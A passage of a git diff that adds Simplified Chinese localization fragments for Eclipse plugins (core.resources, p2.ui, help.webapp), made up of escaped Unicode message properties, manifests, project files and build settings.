+resources_markerNotFound=\u627e\u4e0d\u5230\u6807\u8bb0 id {0}\u3002 +resources_missingProjectMeta=\u7f3a\u5c11\u201c{0}\u201d\u7684\u9879\u76ee\u63cf\u8ff0\u6587\u4ef6\uff08.project\uff09\u3002\u6b64\u6587\u4ef6\u5305\u542b\u6709\u5173\u9879\u76ee\u7684\u91cd\u8981\u4fe1\u606f\u3002\u9879\u76ee\u5c06\u5728\u590d\u539f\u6b64\u6587\u4ef6\u4e4b\u540e\u624d\u80fd\u6b63\u5e38\u5de5\u4f5c\u3002 +resources_missingProjectMetaRepaired=\u7f3a\u5c11\u201c{0}\u201d\u7684\u9879\u76ee\u63cf\u8ff0\u6587\u4ef6\uff08.project\uff09\u3002\u6b64\u6587\u4ef6\u5305\u542b\u6709\u5173\u9879\u76ee\u7684\u91cd\u8981\u4fe1\u606f\u3002\u5df2\u7ecf\u521b\u5efa\u4e86\u65b0\u9879\u76ee\u63cf\u8ff0\u6587\u4ef6\uff0c\u4f46\u662f\u53ef\u80fd\u7f3a\u5c11\u6709\u5173\u9879\u76ee\u7684\u67d0\u4e9b\u4fe1\u606f\u3002 +resources_moveDestNotSub=\u4e0d\u80fd\u79fb\u52a8\u201c{0}\u201d\u3002\u76ee\u6807\u4e0d\u5e94\u8be5\u5728\u6e90\u7684\u5c42\u6b21\u7ed3\u6784\u4e0b\u3002 +resources_moveMeta=\u5c06\u5143\u6570\u636e\u533a\u57df\u4ece {0} \u79fb\u81f3 {1} \u65f6\u51fa\u9519\u3002 +resources_moveNotMet=\u672a\u6ee1\u8db3\u79fb\u52a8\u8981\u6c42\u3002 +resources_moveNotProject=\u4e0d\u80fd\u5c06\u201c{0}\u201d\u79fb\u81f3\u201c{1}\u201d\u3002\u6e90\u5fc5\u987b\u4e3a\u9879\u76ee\u3002 +resources_moveProblem=\u79fb\u52a8\u8d44\u6e90\u65f6\u9047\u5230\u95ee\u9898\u3002 +resources_moveRoot=\u4e0d\u80fd\u79fb\u52a8\u5de5\u4f5c\u7a7a\u95f4\u6839\u76ee\u5f55\u3002 +resources_moving=\u6b63\u5728\u79fb\u52a8\u201c{0}\u201d\u3002 +resources_moving_0=\u6b63\u5728\u79fb\u52a8\u3002 +resources_mustBeAbsolute=\u8def\u5f84\u201c{0}\u201d\u5fc5\u987b\u662f\u7edd\u5bf9\u8def\u5f84\u3002 +resources_mustBeLocal=\u8d44\u6e90\u201c{0}\u201d\u4e0d\u662f\u672c\u5730\u7684\u3002 +resources_mustBeOpen=\u672a\u6253\u5f00\u8d44\u6e90\u201c{0}\u201d\u3002 +resources_mustExist=\u8d44\u6e90\u201c{0}\u201d\u4e0d\u5b58\u5728\u3002 +resources_mustNotExist=\u8d44\u6e90\u201c{0}\u201d\u5df2\u5b58\u5728\u3002 +resources_nameEmpty=\u540d\u79f0\u4e0d\u80fd\u4e3a\u7a7a\u3002 +resources_nameNull=\u540d\u79f0\u4e0d\u80fd\u4e3a null\u3002 +resources_natureClass=\u7f3a\u5c11\u201c{0}\u201d\u7684\u9879\u76ee\u6027\u8d28\u7c7b\u522b\u3002 +resources_natureDeconfig=\u53d6\u6d88\u914d\u7f6e\u6027\u8d28 {0} \u65f6\u51fa\u9519\u3002 +resources_natureExtension=\u7f3a\u5c11 {0} \u7684\u9879\u76ee\u6027\u8d28\u6269\u5c55\u3002 +resources_natureFormat=\u9879\u76ee\u6027\u8d28 {0} \u672a\u6307\u5b9a\u8fd0\u884c\u65f6\u5c5e\u6027\u3002 +resources_natureImplement=\u9879\u76ee\u6027\u8d28 {0} \u672a\u5b9e\u73b0 IProjectNature\u3002 +resources_notChild=\u8d44\u6e90\u201c{0}\u201d\u4e0d\u662f\u201c{1}\u201d\u7684\u5b50\u4ee3\u3002 +resources_oneValidator=fileModificationValidator \u6269\u5c55\u70b9\u4e2d\u5fc5\u987b\u521a\u597d\u5b9a\u4e49\u4e86 0 \u6216 1 \u4e2a\u9a8c\u8bc1\u5668\u6269\u5c55\u3002 +resources_oneHook=\u5728 moveDeleteHook \u6269\u5c55\u70b9\u4e2d\u53ea\u80fd\u5b9a\u4e49 0 \u4e2a\u6216 1 \u4e2a\u6302\u94a9\u6269\u5c55\u3002 +resources_oneTeamHook=\u5728 teamHook \u6269\u5c55\u70b9\u4e2d\u53ea\u80fd\u5b9a\u4e49 0 \u4e2a\u6216 1 \u4e2a\u6302\u94a9\u6269\u5c55\u3002 +resources_opening_1=\u6b63\u5728\u6253\u5f00\u201c{0}\u201d\u3002 +resources_overlapWorkspace={0} \u4e0e\u5de5\u4f5c\u7a7a\u95f4\u4f4d\u7f6e {1} \u91cd\u53e0 +resources_overlapProject={0} \u4e0e\u53e6\u4e00\u4e2a\u9879\u76ee\u7684\u4f4d\u7f6e\u91cd\u53e0\uff1a\u201c{1}\u201d +resources_pathNull=\u8def\u5f84\u4e0d\u80fd\u4e3a null\u3002 +resources_projectDesc=\u8bbe\u7f6e\u9879\u76ee\u63cf\u8ff0\u65f6\u9047\u5230\u4e86\u95ee\u9898\u3002 +resources_projectDescSync=\u672a\u80fd\u4e3a\u201c{0}\u201d\u8bbe\u7f6e\u9879\u76ee\u63cf\u8ff0\uff0c\u539f\u56e0\u662f\u9879\u76ee\u63cf\u8ff0\u6587\u4ef6\uff08.project\uff09\u4e0e\u6587\u4ef6\u7cfb\u7edf\u4e0d\u540c\u6b65\u3002 +resources_projectMustNotBeOpen=\u9879\u76ee\u4e0d\u80fd\u4e3a\u6253\u5f00. +resources_projectPath=\u9879\u76ee\u7684\u8def\u5f84\u4e00\u5b9a\u53ea\u80fd\u6709\u4e00\u6bb5\u3002 +resources_pruningHistory=\u6b63\u5728\u6e05\u7406\u5386\u53f2\u8bb0\u5f55. +resources_reading=\u6b63\u5728\u8bfb\u53d6\u3002 +resources_readingSnap=\u6b63\u5728\u8bfb\u53d6\u5feb\u7167\u3002 +resources_readingEncoding=\u672a\u80fd\u8bfb\u53d6\u7f16\u7801\u8bbe\u7f6e\u3002 +resources_readMarkers=\u8bfb\u53d6\u6807\u8bb0\u65f6\u53d1\u751f\u6545\u969c\uff0c\u6807\u8bb0\u6587\u4ef6\u6bc1\u574f\u3002\u53ef\u80fd\u4e22\u5931\u4e86\u67d0\u4e9b\u6807\u8bb0\u3002 +resources_readMeta=\u4e0d\u80fd\u8bfb\u53d6\u201c{0}\u201d\u7684\u5143\u6570\u636e\u3002 +resources_readMetaWrongVersion=\u4e0d\u80fd\u8bfb\u53d6\u201c{0}\u201d\u7684\u5143\u6570\u636e\u3002\u610f\u5916\u7248\u672c\uff1a{1}\u3002 +resources_readOnly=\u8d44\u6e90\u201c{0}\u201d\u662f\u53ea\u8bfb\u7684\u3002 +resources_readOnly2=\u4e0d\u80fd\u7f16\u8f91\u53ea\u8bfb\u8d44\u6e90\u3002 +resources_readProjectMeta=\u8bfb\u53d6\u201c{0}\u201d\u7684\u9879\u76ee\u63cf\u8ff0\u6587\u4ef6\uff08.project\uff09\u5931\u8d25\u3002\u5728\u78c1\u76d8\u4e0a\u5df2\u7ecf\u66f4\u6539\u4e86\u8be5\u6587\u4ef6\uff0c\u5b83\u73b0\u5728\u5305\u542b\u65e0\u6548\u4fe1\u606f\u3002\u9879\u76ee\u5c06\u4e0d\u4f1a\u6b63\u5e38\u5de5\u4f5c\uff0c\u76f4\u5230\u5c06\u63cf\u8ff0\u6587\u4ef6\u590d\u539f\u4e3a\u6709\u6548\u72b6\u6001\u4e3a\u6b62\u3002 +resources_readProjectTree=\u8bfb\u53d6\u9879\u76ee\u6811\u65f6\u53d1\u751f\u4e86\u95ee\u9898\u3002 +resources_readSync=\u5728\u8bfb\u53d6\u540c\u6b65\u4fe1\u606f\u6587\u4ef6\u65f6\u51fa\u9519\uff1a{0}\u3002 +resources_readWorkspaceMeta=\u672a\u80fd\u8bfb\u53d6\u5de5\u4f5c\u7a7a\u95f4\u5143\u6570\u636e\u3002 +resources_readWorkspaceMetaValue=\u5de5\u4f5c\u7a7a\u95f4\u5143\u6570\u636e\u4e2d\u7684\u65e0\u6548\u5c5e\u6027\u503c\uff1a{0}\u3002\u503c\u5c06\u88ab\u5ffd\u7565\u3002 +resources_readWorkspaceSnap=\u8bfb\u53d6\u5de5\u4f5c\u7a7a\u95f4\u6811\u5feb\u7167\u65f6\u53d1\u751f\u4e86\u95ee\u9898\u3002 +resources_readWorkspaceTree=\u8bfb\u53d6\u5de5\u4f5c\u7a7a\u95f4\u6811\u65f6\u53d1\u751f\u4e86\u95ee\u9898\u3002 +resources_refreshing=\u6b63\u5728\u5237\u65b0\u201c{0}\u201d\u3002 +resources_refreshingRoot=\u6b63\u5728\u5237\u65b0\u5de5\u4f5c\u7a7a\u95f4\u3002 +resources_resetMarkers=\u672a\u80fd\u590d\u4f4d\u6807\u8bb0\u5feb\u7167\u6587\u4ef6\u3002 +resources_resetSync=\u672a\u80fd\u590d\u4f4d\u540c\u6b65\u4fe1\u606f\u5feb\u7167\u6587\u4ef6\u3002 +resources_resourcePath=\u8d44\u6e90\u201c{0}\u201d\u7684\u8def\u5f84\u65e0\u6548\u3002\u5fc5\u987b\u5305\u62ec\u9879\u76ee\u548c\u8d44\u6e90\u540d\u79f0\u3002 +resources_saveOp=\u64cd\u4f5c\u671f\u95f4\u4e0d\u80fd\u8c03\u7528\u4fdd\u5b58\u3002 +resources_saveProblem=\u4fdd\u5b58\u671f\u95f4\u9047\u5230\u95ee\u9898\u3002 +resources_saveWarnings=\u4fdd\u5b58\u64cd\u4f5c\u8b66\u544a\u3002 +resources_saving_0=\u6b63\u5728\u4fdd\u5b58\u5de5\u4f5c\u7a7a\u95f4\u3002 +resources_savingEncoding=\u672a\u80fd\u4fdd\u5b58\u7f16\u7801\u8bbe\u7f6e\u3002 +resources_setDesc=\u6b63\u5728\u8bbe\u7f6e\u9879\u76ee\u63cf\u8ff0\u3002 +resources_setLocal=\u8bbe\u7f6e\u8d44\u6e90\u672c\u5730\u6807\u5fd7\u3002 +resources_settingCharset=\u6b63\u5728\u4e3a\u8d44\u6e90\u201c{0}\u201d\u8bbe\u7f6e\u5b57\u7b26\u96c6\u3002 +resources_settingDefaultCharsetContainer=\u6b63\u5728\u4e3a\u8d44\u6e90\u201c{0}\u201d\u8bbe\u7f6e\u9ed8\u8ba4\u5b57\u7b26\u96c6\u3002 +resources_settingContents=\u6b63\u5728\u4e3a\u201c{0}\u201d\u8bbe\u7f6e\u5185\u5bb9\u3002 +resources_settingDerivedFlag=\u6b63\u5728\u4e3a\u8d44\u6e90 ''{0}'' \u8bbe\u7f6e\u6d3e\u751f\u6807\u5fd7. +resources_shutdown=\u5de5\u4f5c\u7a7a\u95f4\u672a\u6b63\u786e\u5730\u521d\u59cb\u5316\u6216\u8005\u5df2\u5173\u95ed\u3002 +resources_shutdownProblems=\u5173\u95ed\u65f6\u53d1\u751f\u4e86\u95ee\u9898\u3002 +resources_snapInit=\u672a\u80fd\u521d\u59cb\u5316\u5feb\u7167\u6587\u4ef6\u3002 +resources_snapRead=\u672a\u80fd\u8bfb\u53d6\u5feb\u7167\u6587\u4ef6\u3002 +resources_snapRequest=\u8bf7\u6c42\u4e86\u5feb\u7167\u3002 +resources_snapshot=\u5b9a\u671f\u5de5\u4f5c\u7a7a\u95f4\u4fdd\u5b58\u3002 +resources_startupProblems=\u5df2\u590d\u539f\u5de5\u4f5c\u7a7a\u95f4\uff0c\u4f46\u662f\u53d1\u751f\u4e86\u4e00\u4e9b\u95ee\u9898\u3002 +resources_touch=\u6b63\u5728\u8bbf\u95ee\u8d44\u6e90\u201c{0}\u201d\u3002 +resources_updating=\u66f4\u65b0\u5de5\u4f5c\u7a7a\u95f4 +resources_updatingEncoding=\u66f4\u65b0\u7f16\u7801\u8bbe\u7f6e\u65f6\u9047\u5230\u95ee\u9898\u3002 +resources_workspaceClosed=\u5de5\u4f5c\u7a7a\u95f4\u5df2\u5173\u95ed\u3002 +resources_workspaceOpen=\u5de5\u4f5c\u7a7a\u95f4\u5df2\u6253\u5f00\u3002 +resources_writeMeta=\u4e0d\u80fd\u5199\u5165\u201c{0}\u201d\u7684\u5143\u6570\u636e\u3002 +resources_writeWorkspaceMeta=\u4e0d\u80fd\u5199\u5165\u5de5\u4f5c\u7a7a\u95f4\u5143\u6570\u636e\u201c{0}\u201d\u3002 +resources_errorResourceIsFiltered=\u8d44\u6e90\u5c06\u4ee5\u7236\u8d44\u6e90\u8fc7\u6ee4\u5668\u8fc7\u6ee4 +synchronizer_partnerNotRegistered=\u540c\u6b65\u4f19\u4f34\uff1a{0} \u672a\u5411\u540c\u6b65\u5668\u6ce8\u518c\u3002 +url_badVariant=\u4e0d\u53d7\u652f\u6301\u7684\u201cplatform\uff1a\u201d\u534f\u8bae\u53d8\u4f53 {0}\u3002 +url_couldNotResolve_projectDoesNotExist=\u9879\u76ee\u201c{0}\u201d\u4e0d\u5b58\u5728\u3002\u65e0\u6cd5\u89e3\u6790 URL\uff1a{1}\u3002 +url_couldNotResolve_URLProtocolHandlerCanNotResolveURL=\u534f\u8bae\u5904\u7406\u5668\u4e0d\u5b58\u5728\u6216\u65e0\u6cd5\u89e3\u6790 URL ''{0}'' \u4e3a\u6587\u4ef6\u534f\u8bae URL. \u65e0\u6cd5\u89e3\u6790 URL: {1}. +url_couldNotResolve_resourceLocationCanNotBeDetermined=\u8d44\u6e90\u4f4d\u7f6e ''{0}'' \u4e0d\u80fd\u786e\u5b9a. \u65e0\u6cd5\u89e3\u6790 URL: {1}. +utils_clone=\u4e0d\u652f\u6301\u514b\u9686\u3002 +utils_stringJobName=\u538b\u7f29\u8d44\u6e90\u6a21\u5f0f +watson_elementNotFound=\u627e\u4e0d\u5230\u5143\u7d20\uff1a{0}\u3002 +watson_illegalSubtree=\u4f20\u9012\u7ed9 createSubtree() \u7684\u5b50\u6811\u975e\u6cd5\u3002 +watson_immutable=\u5c1d\u8bd5\u4fee\u6539\u4e0d\u53ef\u66f4\u6539\u7684\u6811\u3002 +watson_noModify=\u4e0d\u80fd\u4fee\u6539\u9690\u5f0f\u6839\u8282\u70b9\u3002 +watson_nullArg={0} \u7684\u81ea\u53d8\u91cf\u4e3a null\u3002 +watson_unknown=\u672a\u77e5\u683c\u5f0f\u3002 +WM_beginTask=\u627e\u51fa\u540c\u6b65\u8d44\u6e90 +WM_jobName=Win32 \u5237\u65b0\u5b88\u62a4\u7a0b\u5e8f +WM_errors=\u5237\u65b0\u8d44\u6e90\u65f6\u53d1\u751f\u4e86\u95ee\u9898 +WM_nativeErr=\u81ea\u52a8\u5237\u65b0\u672c\u673a\u4ee3\u7801 {0} \u65f6\u53d1\u751f\u4e86\u95ee\u9898\u3002 +WM_errCloseHandle=\u5173\u95ed\u672c\u673a\u5237\u65b0\u53e5\u67c4 {0} \u65f6\u53d1\u751f\u4e86\u95ee\u9898\u3002 +WM_errCreateHandle=\u4e3a {0} \u521b\u5efa\u53e5\u67c4\u65f6\u53d1\u751f\u4e86\u95ee\u9898\uff0c\u4ee3\u7801\uff1a{0}\u3002 +WM_errFindChange=\u67e5\u627e\u4e0b\u4e00\u4e2a\u66f4\u6539\u65f6\u53d1\u751f\u4e86\u95ee\u9898\uff0c\u4ee3\u7801\uff1a{0} \ No newline at end of file diff --git a/i18n/org.eclipse.core.resources.nl_zh/src/org/eclipse/core/resources/ant/messages_zh.properties b/i18n/org.eclipse.core.resources.nl_zh/src/org/eclipse/core/resources/ant/messages_zh.properties new file mode 100644 index 0000000..cbeb497 --- /dev/null +++ b/i18n/org.eclipse.core.resources.nl_zh/src/org/eclipse/core/resources/ant/messages_zh.properties @@ -0,0 +1,9 @@ +# Copyright by many contributors; see http://babel.eclipse.org/ +exception.cantUseBoth=\u4e0d\u80fd\u540c\u65f6\u4f7f\u7528\u201cfileSystemPath\u201d\u548c\u201cresourcePath\u201d\u3002 +exception.invalidPath=\u65e0\u6548\u8def\u5f84\uff1a{0}\u3002 +exception.mustHaveOneAttribute=\u5fc5\u987b\u6307\u5b9a\u201cfileSystemPath\u201d\u6216\u201cresourcePath\u201d\u3002 +exception.noProjectMatchThePath=\u8def\u5f84 {0} \u4e0d\u5339\u914d\u4efb\u4f55\u73b0\u6709\u9879\u76ee\u3002 +exception.pathNotValid=\u7531\u4e8e\u7b2c\u4e00\u4e2a\u5b57\u6bb5\u5e76\u975e\u4ee3\u8868\u9879\u76ee\uff0c\u56e0\u6b64\u8d44\u6e90\u7684\u8def\u5f84 {0} \u4e0d\u662f\u6709\u6548\u7684\u8def\u5f84\u3002 +exception.propertyAndPathIdNotSpecified=\u81f3\u5c11\u5fc5\u987b\u6307\u5b9a\u201cproperty\u201d\u6216\u201cpathId\u201d\u5c5e\u6027\u4e4b\u4e00\u3002 +exception.resourceNotSpecified=\u5fc5\u987b\u4e3a eclipse.refreshLocal \u4efb\u52a1\u6307\u5b9a\u8d44\u6e90\u540d\u79f0\u3002 +warning.projectDoesNotExist=\u8b66\u544a\uff1a\u9879\u76ee {0} \u4e0d\u5b58\u5728\uff0c\u56e0\u6b64\u65e0\u6cd5\u8fdb\u884c\u5237\u65b0\u3002 \ No newline at end of file diff --git a/i18n/org.eclipse.equinox.p2.ui.nl_zh/.classpath b/i18n/org.eclipse.equinox.p2.ui.nl_zh/.classpath new file mode 100644 index 0000000..8727917 --- /dev/null +++ b/i18n/org.eclipse.equinox.p2.ui.nl_zh/.classpath @@ -0,0 +1,6 @@ + + + + + + diff --git a/i18n/org.eclipse.equinox.p2.ui.nl_zh/.project b/i18n/org.eclipse.equinox.p2.ui.nl_zh/.project new file mode 100644 index 0000000..1d485f7 --- /dev/null +++ b/i18n/org.eclipse.equinox.p2.ui.nl_zh/.project @@ -0,0 +1,28 @@ + + + org.eclipse.equinox.p2.ui.nl_zh + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.pde.ManifestBuilder + + + + + org.eclipse.pde.SchemaBuilder + + + + + + org.eclipse.pde.PluginNature + org.eclipse.jdt.core.javanature + + diff --git a/i18n/org.eclipse.equinox.p2.ui.nl_zh/.settings/org.eclipse.jdt.core.prefs b/i18n/org.eclipse.equinox.p2.ui.nl_zh/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..af0f20f --- /dev/null +++ b/i18n/org.eclipse.equinox.p2.ui.nl_zh/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,7 @@ +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.5 +org.eclipse.jdt.core.compiler.compliance=1.5 +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.5 diff --git a/i18n/org.eclipse.equinox.p2.ui.nl_zh/META-INF/MANIFEST.MF b/i18n/org.eclipse.equinox.p2.ui.nl_zh/META-INF/MANIFEST.MF new file mode 100644 index 0000000..0f82ab4 --- /dev/null +++ b/i18n/org.eclipse.equinox.p2.ui.nl_zh/META-INF/MANIFEST.MF @@ -0,0 +1,7 @@ +Manifest-Version: 1.0 +Bundle-Name: org.eclipse.equinox.p2.ui Chinese (Simplified) NLS Support +Bundle-SymbolicName: org.eclipse.equinox.p2.ui.nl_zh ;singleton=true +Bundle-Version: 8.0.1.R8b_v20130906 +Bundle-Vendor: Eclipse.org +Fragment-Host: org.eclipse.equinox.p2.ui +Bundle-RequiredExecutionEnvironment: J2SE-1.5 diff --git a/i18n/org.eclipse.equinox.p2.ui.nl_zh/build.properties b/i18n/org.eclipse.equinox.p2.ui.nl_zh/build.properties new file mode 100644 index 0000000..7aaf591 --- /dev/null +++ b/i18n/org.eclipse.equinox.p2.ui.nl_zh/build.properties @@ -0,0 +1,5 @@ +javacDefaultEncoding.. = UTF-8 +source.. = src/ +output.. = bin/ +bin.includes = META-INF/,\ + . diff --git a/i18n/org.eclipse.equinox.p2.ui.nl_zh/src/org/eclipse/equinox/internal/p2/ui/messages_zh.properties b/i18n/org.eclipse.equinox.p2.ui.nl_zh/src/org/eclipse/equinox/internal/p2/ui/messages_zh.properties new file mode 100644 index 0000000..4ec1f98 --- /dev/null +++ b/i18n/org.eclipse.equinox.p2.ui.nl_zh/src/org/eclipse/equinox/internal/p2/ui/messages_zh.properties @@ -0,0 +1,80 @@ +# Copyright by many contributors; see http://babel.eclipse.org/ +ProfileModificationWizardPage_DetailsLabel=\u8be6\u7ec6\u4fe1\u606f +ProfileSnapshots_Label=\u5b89\u88c5\u5386\u53f2\u8bb0\u5f55 +ProvisioningOperationWizard_UnexpectedFailureToResolve=\u9047\u5230\u610f\u5916\u9519\u8bef +InstallIUOperationLabel=\u5b89\u88c5 +InstallIUCommandLabel=\u5b89\u88c5(&I)... +InstallIUCommandTooltip=\u5b89\u88c5\u9009\u4e2d\u9879 +UninstallIUOperationLabel=\u5378\u8f7d +UninstallIUCommandLabel=\u5378\u8f7d(&U)... +UninstallIUCommandTooltip=\u5378\u8f7d\u9009\u4e2d\u9879 +UninstallIUProgress=\u6b63\u5728\u5378\u8f7d... +ServiceUI_LoginRequired=\u9700\u8981\u767b\u5f55 +UpdateIUOperationLabel=\u66f4\u65b0 +UpdateIUCommandLabel=\u66f4\u65b0(&D)... +UpdateIUCommandTooltip=\u66f4\u65b0\u9009\u4e2d\u9879 +UpdateIUProgress=\u6b63\u5728\u66f4\u65b0... +RefreshAction_Tooltip=\u5237\u65b0 +RemoveColocatedRepositoryAction_Label=\u5220\u9664\u7ad9\u70b9(&R)... +IUDetailsLabelProvider_KB={0} KB +IUDetailsLabelProvider_Unknown=\u672a\u77e5 +IUGeneralInfoPropertyPage_DescriptionLabel=\u63cf\u8ff0 +IUGeneralInfoPropertyPage_IdentifierLabel=\u6807\u8bc6\uff1a +IUGeneralInfoPropertyPage_NameLabel=\u540d\u79f0\uff1a +IUGeneralInfoPropertyPage_ProviderLabel=\u63d0\u4f9b\u7a0b\u5e8f\uff1a +IUGeneralInfoPropertyPage_VersionLabel=\u7248\u672c\uff1a +RepositoryDetailsLabelProvider_Disabled=\u7981\u7528 +RepositoryDetailsLabelProvider_Enabled=\u542f\u7528 +RepositoryManipulationPage_Add=\u6dfb\u52a0(&A)... +RepositoryManipulationPage_DefaultFilterString=\u8f93\u5165\u8fc7\u6ee4\u5668\u6587\u672c +RepositoryManipulationPage_DisableButton=\u7981\u7528(&D) +RepositoryManipulationPage_EnabledColumnTitle=\u542f\u7528 +RepositoryManipulationPage_Export=\u5bfc\u51fa(&X)... +RepositoryManipulationPage_Import=\u5bfc\u5165(&I)... +RepositoryManipulationPage_LocationColumnTitle=\u4f4d\u7f6e +RepositoryManipulationPage_NameColumnTitle=\u540d\u79f0 +RepositoryManipulationPage_RefreshOperationCanceled=\u64cd\u4f5c\u5df2\u53d6\u6d88\u3002 +RepositoryManipulationPage_Edit=\u7f16\u8f91(&E) +RepositoryManipulationPage_Remove=\u79fb\u9664(&R) +RepositoryManipulationPage_RemoveConfirmSingleMessage=\u662f\u5426\u786e\u8ba4\u9664\u53bb{0}\uff1f +RepositoryManipulationPage_TestConnectionTitle=\u91cd\u65b0\u88c5\u5165 +RepositoryManipulationPage_Title=\u53ef\u7528\u8f6f\u4ef6\u7ad9\u70b9 +RepositoryNameAndLocationDialog_Title=\u7f16\u8f91\u7ad9\u70b9 +AcceptLicensesWizardPage_AcceptSingle=\u6211\u63a5\u53d7\u8bb8\u53ef\u534f\u8bae\u4e2d\u7684\u6761\u6b3e(&A) +AcceptLicensesWizardPage_RejectSingle=\u6211\u4e0d\u63a5\u53d7\u8bb8\u53ef\u534f\u8bae\u4e2d\u7684\u6761\u6b3e(&D) +AddRepositoryDialog_LocationLabel=\u4f4d\u7f6e(&L)\uff1a +AddRepositoryDialog_NameLabel=\u540d\u79f0(&N)\uff1a +UpdateAction_UpdatesAvailableTitle=\u53ef\u7528\u7684\u66f4\u65b0 +UpdateOrInstallWizardPage_Size=\u5927\u5c0f\uff1a{0} +UserValidationDialog_PasswordLabel=\u5bc6\u7801(&P)\uff1a +UserValidationDialog_SavePasswordButton=\u4fdd\u5b58\u5bc6\u7801(&S) +ColocatedRepositoryManipulator_AddSiteOperationLabel=\u6dfb\u52a0\u7ad9\u70b9 +RevertProfilePage_Delete=\u5220\u9664(&D) +RevertProfilePage_RevertLabel=\u6062\u590d(&V) +RevertProfilePage_ProfileTagColumn=\u6807\u8bb0 +RevertProfilePage_ProfileTimestampColumn=\u65e5\u671f +PreselectedIUInstallWizard_Title=\u5b89\u88c5 +PlatformUpdateTitle=\u8f6f\u4ef6\u66f4\u65b0 +ProvUI_InformationTitle=\u4fe1\u606f +ProvUI_NameColumnTitle=\u540d\u79f0 +ProvUI_IdColumnTitle=\u6807\u8bc6 +ProvUI_VersionColumnTitle=\u7248\u672c +ProvUI_ProviderColumnTitle=\u63d0\u4f9b\u7a0b\u5e8f +ProvUI_WarningTitle=\u8b66\u544a +AvailableIUGroup_LoadingRepository=\u6b63\u5728\u88c5\u5165 {0} +AvailableIUsPage_AddButton=\u6dfb\u52a0(&A)... +AvailableIUsPage_MultipleSelectionCount=\u5df2\u9009\u62e9 {0} \u9879 +AvailableIUsPage_NoSites=\u8f93\u5165\u6216\u8005\u9009\u62e9\u4e00\u4e2a\u7ad9\u70b9 +AvailableIUsPage_SelectASite=\u9009\u62e9\u4e00\u4e2a\u7ad9\u70b9\u6216\u8005\u8f93\u5165\u4e00\u4e2a\u7ad9\u70b9\u7684\u4f4d\u7f6e\u3002 +AvailableIUsPage_ShowLatestVersions=\u53ea\u663e\u793a\u53ef\u7528\u8f6f\u4ef6\u7684\u6700\u65b0\u7248\u672c(&L) +AvailableIUsPage_SingleSelectionCount=\u5df2\u9009\u62e9 {0} \u9879 +AvailableIUsPage_Title=\u53ef\u7528\u8f6f\u4ef6 +SelectableIUsPage_Select_All=\u5168\u90e8\u9009\u4e2d(&S) +SelectableIUsPage_Deselect_All=\u5168\u90e8\u4e0d\u9009(&D) +RevertDialog_ConfirmRestartMessage=\u6b64\u64cd\u4f5c\u8981\u6c42\u91cd\u65b0\u542f\u52a8\u5de5\u4f5c\u53f0\u3002\u60f3\u8981\u7ee7\u7eed\u5417\uff1f +TrustCertificateDialog_Details=\u8be6\u7ec6\u4fe1\u606f + + +# Jason Add +PlatformRestartMessage = \u4e3a\u4e86\u8ba9\u5f53\u524d\u66f4\u65b0\u751f\u6548\uff0c\u9700\u8981\u91cd\u542f {0} \u3002\ +\u662f\u5426\u73b0\u5728\u91cd\u542f\uff1f \ No newline at end of file diff --git a/i18n/org.eclipse.help.webapp.nl_zh/.classpath b/i18n/org.eclipse.help.webapp.nl_zh/.classpath new file mode 100644 index 0000000..8727917 --- /dev/null +++ b/i18n/org.eclipse.help.webapp.nl_zh/.classpath @@ -0,0 +1,6 @@ + + + + + + diff --git a/i18n/org.eclipse.help.webapp.nl_zh/.project b/i18n/org.eclipse.help.webapp.nl_zh/.project new file mode 100644 index 0000000..bc34509 --- /dev/null +++ b/i18n/org.eclipse.help.webapp.nl_zh/.project @@ -0,0 +1,28 @@ + + + org.eclipse.help.webapp.nl_zh + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.pde.ManifestBuilder + + + + + org.eclipse.pde.SchemaBuilder + + + + + + org.eclipse.pde.PluginNature + org.eclipse.jdt.core.javanature + + diff --git a/i18n/org.eclipse.help.webapp.nl_zh/.settings/org.eclipse.jdt.core.prefs b/i18n/org.eclipse.help.webapp.nl_zh/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..af0f20f --- /dev/null +++ b/i18n/org.eclipse.help.webapp.nl_zh/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,7 @@ +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.5 +org.eclipse.jdt.core.compiler.compliance=1.5 +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.5 diff --git a/i18n/org.eclipse.help.webapp.nl_zh/META-INF/MANIFEST.MF b/i18n/org.eclipse.help.webapp.nl_zh/META-INF/MANIFEST.MF new file mode 100644 index 0000000..9c3dfb1 --- /dev/null +++ b/i18n/org.eclipse.help.webapp.nl_zh/META-INF/MANIFEST.MF @@ -0,0 +1,7 @@ +Manifest-Version: 1.0 +Bundle-Name: org.eclipse.help.webapp Chinese (Simplified) NLS Support +Bundle-SymbolicName: org.eclipse.help.webapp.nl_zh ;singleton=true +Bundle-Version: 8.0.1.R8b_v20130906 +Bundle-Vendor: Eclipse.org +Fragment-Host: org.eclipse.help.webapp +Bundle-RequiredExecutionEnvironment: J2SE-1.5 diff --git a/i18n/org.eclipse.help.webapp.nl_zh/build.properties b/i18n/org.eclipse.help.webapp.nl_zh/build.properties new file mode 100644 index 0000000..7aaf591 --- /dev/null +++ b/i18n/org.eclipse.help.webapp.nl_zh/build.properties @@ -0,0 +1,5 @@ +javacDefaultEncoding.. = UTF-8 +source.. = src/ +output.. = bin/ +bin.includes = META-INF/,\ + . diff --git a/i18n/org.eclipse.help.webapp.nl_zh/src/org/eclipse/help/internal/webapp/WebappResources_zh.properties b/i18n/org.eclipse.help.webapp.nl_zh/src/org/eclipse/help/internal/webapp/WebappResources_zh.properties new file mode 100644 index 0000000..44b9f11 --- /dev/null +++ b/i18n/org.eclipse.help.webapp.nl_zh/src/org/eclipse/help/internal/webapp/WebappResources_zh.properties @@ -0,0 +1,126 @@ +# Copyright by many contributors; see http://babel.eclipse.org/ +locale=zh +browserTitle=\u5e2e\u52a9 \uff0d {0} 